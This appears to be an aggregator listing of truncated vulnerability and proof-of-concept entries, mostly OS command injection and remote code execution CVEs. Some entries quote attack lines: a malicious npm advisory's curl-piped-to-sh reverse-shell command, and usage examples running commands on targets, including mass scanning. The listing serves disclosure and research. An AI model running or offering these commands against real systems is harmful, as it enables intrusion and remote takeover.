CVE-2026-107459

The SecuShare Pro software, developed by Openfind , is susceptible to an OS Command Injection vulnerability (CWE-78 ). This flaw allows unauthenticated remote attackers to inject and execute arbitrary OS commands directly on the server. The vulnerability is classified as CRITICAL with a CVSS 3.1 ...

CVE-2022-1292

CVE-2022-1292 Description The crehash script does not properly sanitise shell metacharacters to prevent command injection. This script is distributed by some operating systems in a manner where it is automatically executed. On such operating systems, an attacker could execute arbitrary commands...

CVE-2025-3248-POC

CVE-2025-3248-POC POC of CVE-2025-3248 execute any command on target machine usage: python poc.py 'http://xxx.com' 'ls /' leave some love on victims' computers poc.py...

CVE-2024-24576-PoC-Python

CVE-2024-24576-Poc-Python A quick POC for the vulnerability disclosed here https://flatt.tech/research/posts/batbadbut-you-cant-securely-execute-commands-on-windows/ After you run the script it will ask for an arg to be passed to the BAT file. In the screenshot you can see that by adding " the...

CVE-2007-2447

CVE-2007-2447 Samba Exploit A standalone Rust implementation of the CVE-2007-2447 exploit targeting Samba smbd 3.0.20-Debian. Vulnerability Description CVE-2007-2447 is a command injection vulnerability in Samba versions 3.0.0 through 3.0.25rc3. The vulnerability exists in the SamrChangePassword...

CVE-2022-35914-poc

CVE-2022-35914 PoC References https://github.com/glpi-project/glpi/security/advisories/GHSA-c5gx-789q-5pcr Usage pip install -r requirements.txt ./CVE-2022-35914.py -h usage: CVE-2022-35914.py -h -u URL -c CMD -f HOOK --check --user-agent USERAGENT CVE-2022-35914 - GLPI - Command injection using ...

Malicious code in internallib_v788 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 59624002e9650beef10d1f87f3f4125405d990d4b58fb8d2178f39b7ff6fb129 internallibv788 exports a command function in index.js line 5 that executes /bin/bash -c "curl https://reverse-shell.sh/10.0.75.246:443|sh", fetching...

MAL-2026-17649 Malicious code in internallib_v788 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 59624002e9650beef10d1f87f3f4125405d990d4b58fb8d2178f39b7ff6fb129 internallibv788 exports a command function in index.js line 5 that executes /bin/bash -c "curl https://reverse-shell.sh/10.0.75.246:443|sh", fetching...

CVE-2024-9464

CVE-2024-9464: Palo Alto Expedition Authenticated Command Injection Proof of concept to exploit CVE-2024-9464 on vulnerable devices. This script chains the admin reset of CVE-2024-5910 to achieve "unauthenticated" arbitrary command execution. Blog Post Root cause and indicators of compromise here...

nagios-xi-5.7.5-bugs

nagios-xi-5.7.5-bugs Bugs reported to Nagios XI CVE-2021-25296 Code Location /usr/local/nagiosxi/html/includes/configwizards/windowswmi/windowswmi.inc.php Code snippet if !empty$pluginoutputlen $diskwmicommand .= " --forcetruncateoutput " . $pluginoutputlen; $servicewmicommand .= "...

ShellShockHunter

ShellShockHunter v1.0 Es una herramienta simple para probar la vulnerabilidad shellshock Autor: MrCl0wn Blog: http://blog.mrcl0wn.com GitHub: https://github.com/MrCl0wnLab Twitter: https://twitter.com/MrCl0wnLab Email: mrcl0wnlab@\gmail.com Shellshock error de software Shellshock, también conocid...

cve_2019-5736-PoC

CVE-2019-5736 PoC This repository contains a C-based proof-of-concept exploit for CVE-2019-5736. This vulnerability allows a malicious Docker container to overwrite the host's runc binary and execute arbitrary commands on the host with root privileges – fully compromising the host system. Inspire...

CVE-2024-9474

Palo Alto PAN-OS Exploit PoC - CVE-2024-0012 & CVE-2024-9474 This script is a Proof of Concept PoC exploit for vulnerabilities found in Palo Alto PAN-OS CVE-2024-0012 & CVE-2024-9474. The script can be used to either scan a list of URLs for the vulnerability or exploit a single vulnerable URL...

CVE-2024-50379-POC

CVE-2024-50379-POC This repository contains a Python script designed to exploit CVE-2024-50379 , a vulnerability that allows attackers to upload a JSP shell to a vulnerable server and execute arbitrary commands remotely. This exploit is particularly useful when the /uploads directory is either...

CVE-2024-24576-PoC---Nim

Exploring Command Injection Vulnerabilities in Windows with Nim https://foxoman.hashnode.dev/exploring-command-injection-vulnerabilities-in-windows-with-nim?showSharer=true Here's a summarized table based on the testing results from the Nim code experiments with different payloads: Payload|...

CVE-2022-1388

CVE-2022-1388 Checking and exploit for CVE-2022-1388 Installation: python3 -m pip install -r requirements.txt Usage Single : python3 cve.py s fullurl apicommand example python3 cve.py s http://127.0.0.1:8000/mgmt/tm/util/bash '"command":"run","utilCmdArgs":"-c id"' Mass : python3 cve.py m host li...

CVE-2024-10914

CVE-2024-10914 - D-Link Remote Code Execution RCE Exploit This script is a proof-of-concept PoC exploit for CVE-2024-10914, a remote code execution vulnerability in certain D-Link devices. The script identifies and exploits vulnerable devices to execute arbitrary commands. Note: This script shoul...

CVE-2024-36401_Geoserver_RCE_POC

Here is the English translation of your README file: ⚠️ Disclaimer: This tool is intended solely for security research and legally authorized testing purposes. Do not use it for any illegal or unauthorized activities. The user assumes full responsibility for any legal consequences. README Version:...

CVE-2023-38646-PoC

CVE-2023-38646 - Metabase Pre-auth RCE Metabase open source before 0.46.6.1 and Metabase Enterprise before 1.46.6.1 allow attackers to execute arbitrary commands on the server, at the server's privilege level. Authentication is not required for exploitation. The other fixed versions are 0.45.4.1,...

CVE-2023-28324

CVE-2023-28324 POC for CVE-2023-28324 affecting Ivanti EPM. Technical Analysis A technical root cause analysis of the vulnerability can be found on our blog: https://www.horizon3.ai/attack-research/attack-blogs/cve-2023-28324-deep-dive/ Summary This POC abuses a vulnerability in AgentPortal.exe t...